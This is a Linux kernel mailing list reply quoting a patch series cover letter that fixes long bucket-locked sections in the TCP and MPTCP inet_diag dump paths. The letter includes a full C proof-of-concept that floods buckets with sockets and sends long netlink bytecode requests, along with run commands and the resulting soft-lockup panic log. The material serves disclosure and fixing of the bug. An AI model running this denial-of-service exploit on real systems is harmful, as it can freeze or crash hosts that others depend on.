> concentrated setup to make the lock scope observable; it is not intended
> to represent a typical deployment. Because every socket runs the full
> bytecode and none reaches the reply fill path, skb backpressure does not
> terminate the walk early.
> On the unfixed kernel, with local softlockup panic sysctls enabled, this
> makes the long bucket-locked section visible as a watchdog report and
> panic in inet_diag_bc_sk().
>
> The earlier batching fix direction was still too narrow: it only counted
> sockets that survived the cheap prefilters and reached the expensive dump
> path. An attacker can therefore populate one bucket with many sockets or
> listeners that fail the netns/family/port or MPTCP-specific prefilters,
> causing the same bucket lock to be scanned far past the 16-entry batch
> threshold before control is returned.
>
> The same root cause also exists in MPTCP listener dumping. The
> MPTCP-specific mptcp_diag_dump_listeners() path reuses sk_diag_dump(),
> which runs inet_diag_bc_sk() before filling the netlink reply, while the
> listener bucket lock is still held.
>
> The inline reproducer and decoded crash log below cover the TCP watchdog
> path only. They are not an MPTCP crash reproduction. The crash log is the
> decoded output of `./scripts/decode_stacktrace.sh`, with source paths
> reduced to repository-relative file and line references for review. The
> MPTCP patch addresses the equivalent listener lock scope identified by
> code inspection and completed MPTCP listener stress tests. A separate
> MPTCP crash artifact is not included, because the fixed MPTCP run
> completed without a crash.
>
> This series fixes both sites by keeping bucket-locked sections limited to
> raw socket collection and lifetime pinning, and moving all filtering,
> inet_diag_bc_sk(), and socket filling work out of the locked regions so
> the batch limit applies to raw bucket traversal itself. For TCP listener,
> bind, and ehash buckets, and for the MPTCP listener bucket, restarts now
> keep a referenced dump cursor so the next batch resumes after the
> previous socket instead of rescanning the bucket head under the same
> lock. A stored cursor is reused only after it is checked against the
> currently locked bucket. Listen and ehash resume also require the socket
> state to still belong to that table. Current-bucket membership is inferred
> from that state plus the recomputed hash slot. If the check fails,
> collection restarts from the bucket head with the same batch limit. That
> fallback can emit a socket more than once, but it does not move bytecode
> or fill work back under the bucket lock. Bind collection counts TIME_WAIT
> nodes toward the batch limit and restores them through tw_tb2.
>
> We also ran targeted cursor-resume stress tests on the fixed kernel. The
> TCP listener workload used 131072 listeners while a separate thread
> repeatedly removed and recreated listeners across listener buckets. Three
> runs completed in 17024.089 ms, 17217.245 ms, and 17180.322 ms, and the
> guest remained alive. With temporary kernel instrumentation, one run
> directly observed an invalid TCP listener cursor: the cursor was unhashed
> and its computed bucket differed from the bucket being scanned, after
> which the safe restart path completed normally.
>
> A corresponding MPTCP listener workload and a TCP bound-only close/rebind
> workload also completed without a crash, and the guest remained alive.
> Neither workload deterministically reached its instrumented invalid-cursor
> branch, and no crash artifact is claimed for either path.
>
> For ehash, a dedicated workload created 4096 loopback established TCP
> connections while a mutator replaced connection pairs concurrently. The
> TCPF_ALL inet_diag dump completed in 315.108 ms. No ehash invalid-cursor
> log, soft lockup, or panic was observed. These tests exercise the relevant
> mutation and resume paths, but do not claim deterministic scheduling of
> every race between two dump callbacks.
>
> The TCP patch uses two Fixes tags for the path-specific introductions:
> commit 5caea4ea7088 ("net: listening_hash get a spinlock per bucket")
> introduced the listener bucket spinlock, and commit 91051f003948
> ("tcp: Dump bound-only sockets in inet_diag.") introduced the bound-only
> path. The ehash dump already ran diagnostic work under the bucket lock
> before 7e3aab4a9cd7, which only converted that lock from read_lock_bh()
> to spin_lock_bh(), so that commit is not used as a Fixes tag. The MPTCP
> patch uses commit 4fa39b701ce9 ("mptcp: listen diag dump support").
>
> udp_diag and raw diag still run bytecode and fill under their own hash
> slot locks. Those locks are not the TCP listener, bind, or ehash locks,
> or the MPTCP listener lock, tightened by this series.
>
> Reproducer:
>
> gcc -O2 -static -o poc poc.c
> unshare -Urn ./poc
>
> This is not a packet-sequence or protocol-state reproducer. The trigger
> depends on creating many sockets and issuing NETLINK_SOCK_DIAG requests,
> which packetdrill cannot express, so the PoC uses sockets and Netlink
> directly.
>
> To make the long bucket-locked section observable in the local QEMU
> run below, we enabled softlockup panic sysctls as guest root. The
> unshare command above uses the PoC defaults, which are:
>
> ./poc --listen --groups 4 --stride 2048 --count 32768 --nops 16380
>
> The crash log reports UID: 0 because that process is the userns root
> created by unshare -Urn, after those sysctls were set as guest root.
> That UID does not by itself prove a host-unprivileged run. The inet_diag
> dump path itself is reachable from a user and net namespace.
>
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
>
> ------BEGIN poc.c------
> #define _GNU_SOURCE
>
> #include <arpa/inet.h>
> #include <errno.h>
> #include <linux/inet_diag.h>
> #include <linux/netlink.h>
> #include <linux/sock_diag.h>
> #include <linux/tcp.h>
> #include <sched.h>
> #include <stdbool.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/resource.h>
> #include <sys/socket.h>
> #include <sys/time.h>
> #include <time.h>
> #include <unistd.h>
>
> #ifndef SOL_TCP
> #define SOL_TCP 6
> #endif
>
> #ifndef TCP_LISTEN
> #define TCP_LISTEN 10
> #endif
>
> #define TCPF_LISTEN (1U << TCP_LISTEN)
>
> #ifndef TCP_BOUND_INACTIVE
> #define TCP_BOUND_INACTIVE 13
> #endif
> #ifndef TCPF_BOUND_INACTIVE
> #define TCPF_BOUND_INACTIVE (1U << TCP_BOUND_INACTIVE)
> #endif
>
> #define DEFAULT_SOCKETS 32768U
> #define DEFAULT_NOPS 16380U
> #define DEFAULT_REPEAT 1U
> #define DEFAULT_GROUPS 4U
> #define DEFAULT_STRIDE 2048U
> #define DEFAULT_BASE_PORT 10000
> #define MAX_NOPS 16380U
> #define RECV_BUF_SIZE (1U << 20)
>
> struct options {
> unsigned int sockets;
> unsigned int nops;
> unsigned int repeat;
> unsigned int groups;
> unsigned int stride;
> unsigned int cpu;
> bool cpu_set;
> bool compare;
> bool attack;
> bool listen_mode;
> int port;
> };
>
> static void usage(const char *prog)
> {
> fprintf(stderr,
> "Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"
> " [--groups N] [--stride N] [--compare] [--no-attack]\n"
> " [--listen | --bound]\n"
> "Defaults: --count %u --nops %u --repeat %u\n",
> prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);
> }
>
> static long long timespec_delta_ns(const struct timespec *start,
> const struct timespec *end)
> {
> return (end->tv_sec - start->tv_sec) * 1000000000LL +
> (end->tv_nsec - start->tv_nsec);
> }
>
> static int raise_nofile_limit(rlim_t needed)
> {
> struct rlimit lim;
>
> if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
> perror("getrlimit(RLIMIT_NOFILE)");
> return -1;
> }
>
> if (lim.rlim_cur >= needed)
> return 0;
>
> if (lim.rlim_max < needed)
> needed = lim.rlim_max;
>
> lim.rlim_cur = needed;
> if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
> perror("setrlimit(RLIMIT_NOFILE)");
> return -1;
> }
>
> if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
> perror("getrlimit(RLIMIT_NOFILE)");
> return -1;
> }
>
> if (lim.rlim_cur < needed) {
> fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",
> (unsigned long long)lim.rlim_cur,
> (unsigned long long)needed);
> return -1;
> }
>
> return 0;
> }
>
> static int pin_to_cpu(unsigned int cpu)
> {
> cpu_set_t set;
>
> CPU_ZERO(&set);
> CPU_SET(cpu, &set);
> if (sched_setaffinity(0, sizeof(set), &set) < 0) {
> perror("sched_setaffinity");
> return -1;
> }
>
> return 0;
> }
>
> static int create_socket_in_bucket(bool listen_mode, int port, int *bound_port)
> {
> struct sockaddr_in addr = {
> .sin_family = AF_INET,
> .sin_addr.s_addr = htonl(INADDR_ANY),
> };
> socklen_t addrlen = sizeof(addr);
> int one = 1;
> int fd;
>
> fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
> if (fd < 0) {
> perror("socket(AF_INET, SOCK_STREAM)");
> return -1;
> }
>
> if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
> perror("setsockopt(SO_REUSEADDR)");
> goto err;
> }
>
> if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
> perror("setsockopt(SO_REUSEPORT)");
> goto err;
> }
>
> addr.sin_port = htons(port);
> if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
> perror("bind");
> goto err;
> }
>
> if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {
> perror("getsockname");
> goto err;
> }
>
> if (listen_mode) {
> if (listen(fd, 0) < 0) {
> perror("listen");
> goto err;
> }
> }
>
> *bound_port = ntohs(addr.sin_port);
> return fd;
>
> err:
> close(fd);
> return -1;
> }
>
> static int setup_sockets(bool listen_mode, unsigned int groups,
> unsigned int count_per_group, unsigned int stride,
> int requested_port, int **fds_out, int *port_out)
> {
> int *fds;
> unsigned int g, i;
> unsigned int total = groups * count_per_group;
> int base_port = requested_port ? requested_port : DEFAULT_BASE_PORT;
>
> fds = calloc(total, sizeof(*fds));
> if (!fds) {
> perror("calloc(socket fds)");
> return -1;
> }
>
> for (g = 0; g < groups; g++) {
> int port = base_port + (int)(g * stride);
>
> if (port <= 0 || port > 65535) {
> fprintf(stderr, "port overflow for group %u (base=%d stride=%u)\n",
> g, base_port, stride);
> goto err;
> }
>
> for (i = 0; i < count_per_group; i++) {
> unsigned int idx = g * count_per_group + i;
> int bound_port = port;
> int fd = create_socket_in_bucket(listen_mode, bound_port,
> &bound_port);
>
> if (fd < 0) {
> fprintf(stderr,
> "socket setup failed at group %u index %u (port %d)\n",
> g, i, port);
> goto err;
> }
>
> fds[idx] = fd;
> if ((idx + 1) % 4096U == 0 || idx + 1 == total) {
> printf("sockets_ready=%u group=%u port=%d mode=%s\n",
> idx + 1, g + 1, port,
> listen_mode ? "listen" : "bound");
> }
> }
> }
>
> *fds_out = fds;
> *port_out = base_port;
> return 0;
>
> err:
> for (i = 0; i < total; i++) {
> if (fds[i] > 0)
> close(fds[i]);
> }
> free(fds);
> return -1;
> }
>
> static void teardown_sockets(int *fds, unsigned int count)
> {
> unsigned int i;
>
> if (!fds)
> return;
>
> for (i = 0; i < count; i++) {
> if (fds[i] >= 0)
> close(fds[i]);
> }
> free(fds);
> }
>
> static size_t build_request(void *buf, bool listen_mode, bool with_attack,
> unsigned int nops)
> {
> size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
> struct nlmsghdr *nlh = buf;
> struct inet_diag_req_v2 *req;
>
> memset(buf, 0, msg_len);
> nlh->nlmsg_len = msg_len;
> nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
> nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
> nlh->nlmsg_seq = 1;
>
> req = NLMSG_DATA(nlh);
> req->sdiag_family = AF_INET;
> req->sdiag_protocol = IPPROTO_TCP;
> req->idiag_states = listen_mode ? TCPF_LISTEN : TCPF_BOUND_INACTIVE;
> req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
> req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;
>
> if (with_attack) {
> size_t payload_len = ((size_t)nops + 2U) *
> sizeof(struct inet_diag_bc_op);
> size_t attr_len = NLA_HDRLEN + payload_len;
> struct nlattr *nla = (struct nlattr *)((char *)buf + msg_len);
> struct inet_diag_bc_op *ops;
> unsigned int i;
>
> memset(nla, 0, NLA_ALIGN(attr_len));
> nla->nla_type = INET_DIAG_REQ_BYTECODE;
> nla->nla_len = attr_len;
> ops = (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);
>
> for (i = 0; i < nops; i++) {
> ops[i].code = INET_DIAG_BC_NOP;
> ops[i].yes = sizeof(struct inet_diag_bc_op);
> ops[i].no = 0;
> }
>
> ops[nops].code = INET_DIAG_BC_D_EQ;
> ops[nops].yes = 2U * sizeof(struct inet_diag_bc_op);
> ops[nops].no = 3U * sizeof(struct inet_diag_bc_op);
>
> ops[nops + 1].code = 0;
> ops[nops + 1].yes = 0;
> ops[nops + 1].no = 1;
>
> msg_len += NLA_ALIGN(attr_len);
> nlh->nlmsg_len = msg_len;
> }
>
> return msg_len;
> }
>
> static int recv_until_done(int fd)
> {
> char *buf;
> int ret = 0;
>
> buf = malloc(RECV_BUF_SIZE);
> if (!buf) {
> perror("malloc(recv buf)");
> return -1;
> }
>
> for (;;) {
> ssize_t received = recv(fd, buf, RECV_BUF_SIZE, 0);
> struct nlmsghdr *nlh;
> int remaining;
>
> if (received < 0) {
> perror("recv");
> ret = -1;
> break;
> }
>
> if (received == 0) {
> fprintf(stderr, "recv: unexpected EOF\n");
> ret = -1;
> break;
> }
>
> remaining = (int)received;
> for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);
> nlh = NLMSG_NEXT(nlh, remaining)) {
> if (nlh->nlmsg_type == NLMSG_DONE)
> goto out;
>
> if (nlh->nlmsg_type == NLMSG_ERROR) {
> const struct nlmsgerr *err = NLMSG_DATA(nlh);
>
> if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {
> fprintf(stderr, "short NLMSG_ERROR\n");
> } else if (err->error) {
> errno = -err->error;
> perror("netlink");
> } else {
> fprintf(stderr, "unexpected ACK\n");
> }
> ret = -1;
> goto out;
> }
> }
> }
>
> out:
> free(buf);
> return ret;
> }
>
> static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,
> double *wall_ms)
> {
> size_t request_len;
> size_t attr_space = with_attack ?
> NLA_ALIGN(NLA_HDRLEN +
> ((size_t)nops + 2U) *
> sizeof(struct inet_diag_bc_op)) : 0;
> size_t alloc_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +
> attr_space;
> struct sockaddr_nl local = {
> .nl_family = AF_NETLINK,
> };
> struct sockaddr_nl kernel = {
> .nl_family = AF_NETLINK,
> };
> struct timeval timeout = {
> .tv_sec = 60,
> .tv_usec = 0,
> };
> struct iovec iov;
> struct msghdr msg = {
> .msg_name = &kernel,
> .msg_namelen = sizeof(kernel),
> .msg_iov = &iov,
> .msg_iovlen = 1,
> };
> struct timespec start_ts;
> struct timespec end_ts;
> void *request;
> int fd;
> int ret = -1;
>
> request = malloc(alloc_len);
> if (!request) {
> perror("malloc(request)");
> return -1;
> }
>
> request_len = build_request(request, listen_mode, with_attack, nops);
>
> fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);
> if (fd < 0) {
> perror("socket(AF_NETLINK)");
> free(request);
> return -1;
> }
>
> if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
> perror("setsockopt(SO_RCVTIMEO)");
> goto out;
> }
>
> if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
> perror("bind(netlink)");
> goto out;
> }
>
> iov.iov_base = request;
> iov.iov_len = request_len;
>
> if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {
> perror("clock_gettime(start)");
> goto out;
> }
>
> if (sendmsg(fd, &msg, 0) < 0) {
> perror("sendmsg");
> goto out;
> }
>
> if (recv_until_done(fd) < 0)
> goto out;
>
> if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {
> perror("clock_gettime(end)");
> goto out;
> }
>
> *wall_ms = (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;
> ret = 0;
>
> out:
> close(fd);
> free(request);
> return ret;
> }
>
> static int parse_u32(const char *arg, unsigned int *value)
> {
> char *end = NULL;
> unsigned long parsed;
>
> parsed = strtoul(arg, &end, 0);
> if (!end || *end || parsed > UINT32_MAX)
> return -1;
>
> *value = (unsigned int)parsed;
> return 0;
> }
>
> static int parse_port(const char *arg, int *port)
> {
> unsigned int value;
>
> if (parse_u32(arg, &value) < 0 || value > 65535U)
> return -1;
>
> *port = (int)value;
> return 0;
> }
>
> int main(int argc, char **argv)
> {
> struct options opts = {
> .sockets = DEFAULT_SOCKETS,
> .nops = DEFAULT_NOPS,
> .repeat = DEFAULT_REPEAT,
> .groups = DEFAULT_GROUPS,
> .stride = DEFAULT_STRIDE,
> .cpu = 0,
> .cpu_set = false,
> .compare = false,
> .attack = true,
> .listen_mode = true,
> .port = 0,
> };
> int *fds = NULL;
> int port = 0;
> unsigned int i;
>
> for (i = 1; i < (unsigned int)argc; i++) {
> if (strcmp(argv[i], "--count") == 0) {
> if (i + 1 >= (unsigned int)argc ||
> parse_u32(argv[++i], &opts.sockets) < 0 ||
> opts.sockets == 0) {
> usage(argv[0]);
> return 1;
> }
> } else if (strcmp(argv[i], "--nops") == 0) {
> if (i + 1 >= (unsigned int)argc ||
> parse_u32(argv[++i], &opts.nops) < 0 ||
> opts.nops > MAX_NOPS) {
> fprintf(stderr, "--nops must be in range [0, %u]\n",
> MAX_NOPS);
> return 1;
> }
> } else if (strcmp(argv[i], "--repeat") == 0) {
> if (i + 1 >= (unsigned int)argc ||
> parse_u32(argv[++i], &opts.repeat) < 0 ||
> opts.repeat == 0) {
> usage(argv[0]);
> return 1;
> }
> } else if (strcmp(argv[i], "--groups") == 0) {
> if (i + 1 >= (unsigned int)argc ||
> parse_u32(argv[++i], &opts.groups) < 0 ||
> opts.groups == 0) {
> usage(argv[0]);
> return 1;
> }
> } else if (strcmp(argv[i], "--stride") == 0) {
> if (i + 1 >= (unsigned int)argc ||
> parse_u32(argv[++i], &opts.stride) < 0 ||
> opts.stride == 0) {
> usage(argv[0]);
> return 1;
> }
> } else if (strcmp(argv[i], "--port") == 0) {
> if (i + 1 >= (unsigned int)argc ||
> parse_port(argv[++i], &opts.port) < 0) {
> usage(argv[0]);
> return 1;
> }
> } else if (strcmp(argv[i], "--cpu") == 0) {
> if (i + 1 >= (unsigned int)argc ||
> parse_u32(argv[++i], &opts.cpu) < 0) {
> usage(argv[0]);
> return 1;
> }
> opts.cpu_set = true;
> } else if (strcmp(argv[i], "--compare") == 0) {
> opts.compare = true;
> } else if (strcmp(argv[i], "--no-attack") == 0) {
> opts.attack = false;
> } else if (strcmp(argv[i], "--listen") == 0) {
> opts.listen_mode = true;
> } else if (strcmp(argv[i], "--bound") == 0) {
> opts.listen_mode = false;
> } else {
> usage(argv[0]);
> return 1;
> }
> }
>
> if (opts.groups > UINT32_MAX / opts.sockets) {
> fprintf(stderr, "socket count overflow\n");
> return 1;
> }
>
> if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)
> return 1;
>
> if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)
> return 1;
>
> if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,
> opts.stride, opts.port, &fds, &port) < 0)
> return 1;
>
> printf("setup_complete groups=%u sockets_per_group=%u total_sockets=%u base_port=%d stride=%u mode=%s nops=%u repeat=%u compare=%s attack=%s\n",
> opts.groups, opts.sockets, opts.groups * opts.sockets,
> port, opts.stride, opts.listen_mode ? "listen" : "bound",
> opts.nops, opts.repeat,
> opts.compare ? "yes" : "no",
> opts.attack ? "yes" : "no");
>
> if (opts.compare) {
> double wall_ms;
>
> if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {
> teardown_sockets(fds, opts.groups * opts.sockets);
> return 1;
> }
> printf("baseline wall_ms=%.3f\n", wall_ms);
> }
>
> if (opts.attack) {
> for (i = 0; i < opts.repeat; i++) {
> double wall_ms;
>
> if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {
> teardown_sockets(fds, opts.groups * opts.sockets);
> return 1;
> }
> printf("attack_run=%u wall_ms=%.3f\n", i + 1, wall_ms);
> }
> }
>
> teardown_sockets(fds, opts.groups * opts.sockets);
> return 0;
> }
> ------END poc.c--------
>
> ----BEGIN crash log----
> watchdog: BUG: soft lockup - CPU#1 stuck for 3s! [poc:256]
> [ 21.507468] Modules linked in:
> [ 21.507471] CPU: 1 UID: 0 PID: 256 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c #5 PREEMPT(full)
> [ 21.507472] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> [ 21.507473] RIP: 0010:inet_diag_bc_sk (inet_diag.c:471 inet_diag.c:631)
> [ 21.507499] Code: 00 00 00 0f 87 89 00 00 00 3c 02 0f 84 4e 01 00 00 3c 03 0f 84 72 01 00 00 3c 01 75 31 0f b7 53 02 29 d5 48 01 d3 85 ed 7e 31 <0f> b6 03 3c 08 76 c2 3c 0b 0f 84 76 01 00 00 77 3a 3c 09 0f 84 54
> All code
> ========
> 0: 00 00 add %al,(%rax)
> 2: 00 0f add %cl,(%rdi)
> 4: 87 89 00 00 00 3c xchg %ecx,0x3c000000(%rcx)
> a: 02 0f add (%rdi),%cl
> c: 84 4e 01 test %cl,0x1(%rsi)
> f: 00 00 add %al,(%rax)
> 11: 3c 03 cmp $0x3,%al
> 13: 0f 84 72 01 00 00 je 0x18b
> 19: 3c 01 cmp $0x1,%al
> 1b: 75 31 jne 0x4e
> 1d: 0f b7 53 02 movzwl 0x2(%rbx),%edx
> 21: 29 d5 sub %edx,%ebp
> 23: 48 01 d3 add %rdx,%rbx
> 26: 85 ed test %ebp,%ebp
> 28: 7e 31 jle 0x5b
> 2a:* 0f b6 03 movzbl (%rbx),%eax <-- trapping instruction
> 2d: 3c 08 cmp $0x8,%al
> 2f: 76 c2 jbe 0xfffffffffffffff3
> 31: 3c 0b cmp $0xb,%al
> 33: 0f 84 76 01 00 00 je 0x1af
> 39: 77 3a ja 0x75
> 3b: 3c 09 cmp $0x9,%al
> 3d: 0f .byte 0xf
> 3e: 84 .byte 0x84
> 3f: 54 push %rsp
>
> Code starting with the faulting instruction
> ===========================================
> 0: 0f b6 03 movzbl (%rbx),%eax
> 3: 3c 08 cmp $0x8,%al
> 5: 76 c2 jbe 0xffffffffffffffc9
> 7: 3c 0b cmp $0xb,%al
> 9: 0f 84 76 01 00 00 je 0x185
> f: 77 3a ja 0x4b
> 11: 3c 09 cmp $0x9,%al
> 13: 0f .byte 0xf
> 14: 84 .byte 0x84
> 15: 54 push %rsp
> [ 21.507500] RSP: 0018:ffffbb290036b7a8 EFLAGS: 00000202
> [ 21.507501] RAX: 0000000000000000 RBX: ffff98bcf7ca2588 RCX: 0000000000000000
> [ 21.507502] RDX: 0000000000000004 RSI: ffff98bcf7ca0048 RDI: ffff98bcf61c9840
> [ 21.507502] RBP: 000000000000dabc R08: 0000000000000000 R09: ffff98bcdfb91440
> [ 21.507502] R10: 0000000000000000 R11: ffff98bcdfb91444 R12: 0000000000000000
> [ 21.507503] R13: 0000000000002f10 R14: 0000000000000000 R15: 0000000000000002
> [ 21.507508] FS: 0000000002be8380(0000) GS:ffff98bda3b6e000(0000) knlGS:0000000000000000
> [ 21.507509] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [ 21.507510] CR2: 00007f62b3bb9000 CR3: 000000000c6b6005 CR4: 0000000000370ef0
> [ 21.507510] Call Trace:
> [ 21.507512] <TASK>
> [ 21.507512] ? inet_diag_bc_sk (inet_diag.c:632)
> [ 21.507514] tcp_diag_dump (tcp_diag.c:366)
> [ 21.507524] ? ___slab_alloc (slub.c:1080 slub.c:4524)
> [ 21.507526] ? __kmalloc_node_track_caller_noprof (slub.c:4936 slub.c:5361 slub.c:5497)
> [ 21.507527] ? inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
> [ 21.507528] ? __alloc_skb (skbuff.c:715)
> [ 21.507531] ? kmalloc_reserve (skbuff.c:637 (discriminator 1))
> [ 21.507532] __inet_diag_dump (inet_diag.c:823)
> [ 21.507533] netlink_dump (af_netlink.c:2331)
> [ 21.507543] __netlink_dump_start (af_netlink.c:2446)
> [ 21.507544] inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
> [ 21.507545] ? __pfx_inet_diag_dump_start (inet_diag.c:891)
> [ 21.507546] ? __pfx_inet_diag_dump (inet_diag.c:928)
> [ 21.507547] ? __pfx_inet_diag_dump_done (inet_diag.c:508)
> [ 21.507548] sock_diag_rcv_msg (sock_diag.c:248 sock_diag.c:284)
> [ 21.507550] ? __pfx_sock_diag_rcv_msg (sock_diag.c:306)
> [ 21.507551] netlink_rcv_skb (af_netlink.c:2556)
> [ 21.507553] netlink_unicast (af_netlink.c:1319 af_netlink.c:1345)
> [ 21.507554] netlink_sendmsg (af_netlink.c:1900)
> [ 21.507556] ____sys_sendmsg (socket.c:775 (discriminator 1) socket.c:790 (discriminator 1) socket.c:2684 (discriminator 1))
> [ 21.507558] ___sys_sendmsg (socket.c:2738)
> [ 21.507559] __sys_sendmsg (socket.c:2770)
> [ 21.507560] do_syscall_64 (syscall_64.c:63 syscall_64.c:94)
> [ 21.507563] entry_SYSCALL_64_after_hwframe (entry_64.S:121)
> [ 21.507564] RIP: 0033:0x421964
> [ 21.507566] Code: c2 c0 ff ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b5 0f 1f 00 f3 0f 1e fa 80 3d fd 26 09 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 4c c3 0f 1f 00 55 48 89 e5 48 83 ec 20 89 55
> All code
> ========
> 0: c2 c0 ff ret $0xffc0
> 3: ff (bad)
> 4: ff f7 push %rdi
> 6: d8 64 89 02 fsubs 0x2(%rcx,%rcx,4)
> a: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax
> 11: eb b5 jmp 0xffffffffffffffc8
> 13: 0f 1f 00 nopl (%rax)
> 16: f3 0f 1e fa endbr64
> 1a: 80 3d fd 26 09 00 00 cmpb $0x0,0x926fd(%rip) # 0x9271e
> 21: 74 13 je 0x36
> 23: b8 2e 00 00 00 mov $0x2e,%eax
> 28: 0f 05 syscall
> 2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction
> 30: 77 4c ja 0x7e
> 32: c3 ret
> 33: 0f 1f 00 nopl (%rax)
> 36: 55 push %rbp
> 37: 48 89 e5 mov %rsp,%rbp
> 3a: 48 83 ec 20 sub $0x20,%rsp
> 3e: 89 .byte 0x89
> 3f: 55 push %rbp
>
> Code starting with the faulting instruction
> ===========================================
> 0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax
> 6: 77 4c ja 0x54
> 8: c3 ret
> 9: 0f 1f 00 nopl (%rax)
> c: 55 push %rbp
> d: 48 89 e5 mov %rsp,%rbp
> 10: 48 83 ec 20 sub $0x20,%rsp
> 14: 89 .byte 0x89
> 15: 55 push %rbp
> [ 21.507567] RSP: 002b:00007ffde1d1cfc8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e
> [ 21.507568] RAX: ffffffffffffffda RBX: 0000000002bea910 RCX: 0000000000421964
> [ 21.507570] RDX: 0000000000000000 RSI: 00007ffde1d1d040 RDI: 0000000000020003
> [ 21.507571] RBP: 0000000000020003 R08: 0006b49d20000000 R09: 00007f62b3bb50e8
> [ 21.507571] R10: 0000000000000004 R11: 0000000000000202 R12: 00007ffde1d1d110
> [ 21.507571] R13: 0000000000003ffc R14: 0000000000010044 R15: 000000000000fffc
> [ 21.507572] </TASK>
> [ 21.507573] Kernel panic - not syncing: softlockup: hung tasks
> -----END crash log-----
>
> Best regards,
> Zihan Xi
>
> changes in v2:
> - Rebased onto net commit e2a6641e3bfd (2026-08-27).
> - Corrected the non-listener PoC state mask to TCPF_BOUND_INACTIVE.
> - Added current-bucket cursor validation for TCP listener, bind, and
> ehash paths, and for MPTCP listeners, with safe restart on mismatch.
> - Reject listen/ehash/MPTCP listener cursors unless sk_state still
> matches the table being walked.
> - Count TIME_WAIT bind nodes toward the batch limit and resume them via
> tw_tb2 instead of treating them as inet_connection_sock.
> - Kept the listener and bound-only TCP Fixes tags; dropped 7e3aab4a9cd7
> because that commit only converted the existing ehash dump lock type.
> - Sorted new TCP dump local declarations reverse xmas tree.
> - Moved INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN into the MPTCP patch.
> - Read icsk_ulp_data with rcu_dereference() after dropping the MPTCP
> listener lock.
> - Refreshed the inline PoC and matching decoded crash log artifacts.
> - Corrected wording and removed duplicate crash-log provenance text.
> - Made PoC defaults match unshare -Urn ./poc (4 listener groups).
> - Clarified crash-log UID 0, cursor fallback restart, and that UDP/RAW
> diag locks are outside this series.
> - v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/
>
> Zihan Xi (2):
> tcp: diag: bound bucket lock hold in tcp_diag_dump()
> mptcp: diag: bound listener bucket lock hold
>
> include/linux/inet_diag.h | 15 ++
> include/net/inet_hashtables.h | 18 ++
> net/ipv4/inet_diag.c | 13 ++
> net/ipv4/inet_hashtables.c | 18 --
> net/ipv4/tcp_diag.c | 338 +++++++++++++++++++++++++---------
> net/mptcp/mptcp_diag.c | 124 +++++++++----
> 6 files changed, 383 insertions(+), 143 deletions(-)
>
> --
> 2.43.0
>
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths
2026-09-03 2:09 ` [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths Kuniyuki Iwashima
@ 2026-09-03 2:35 ` zihan xi
0 siblings, 0 replies; 5+ messages in thread
From: zihan xi @ 2026-09-03 2:35 UTC (permalink / raw)
To: Kuniyuki Iwashima
Cc: netdev, linux-kernel, mptcp, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, Neal Cardwell,
Matthieu Baerts, Mat Martineau, Geliang Tang, Guillaume Nault,
Florian Westphal
On Thu, Sep 3, 2026 at 10:09 AM Kuniyuki Iwashima <kuniyu@google.com> wrote:
>
> On Tue, Sep 1, 2026 at 5:53 AM Zihan Xi <zihanx@nebusec.ai> wrote:
> >
> > Hi Linux kernel maintainers,
> >
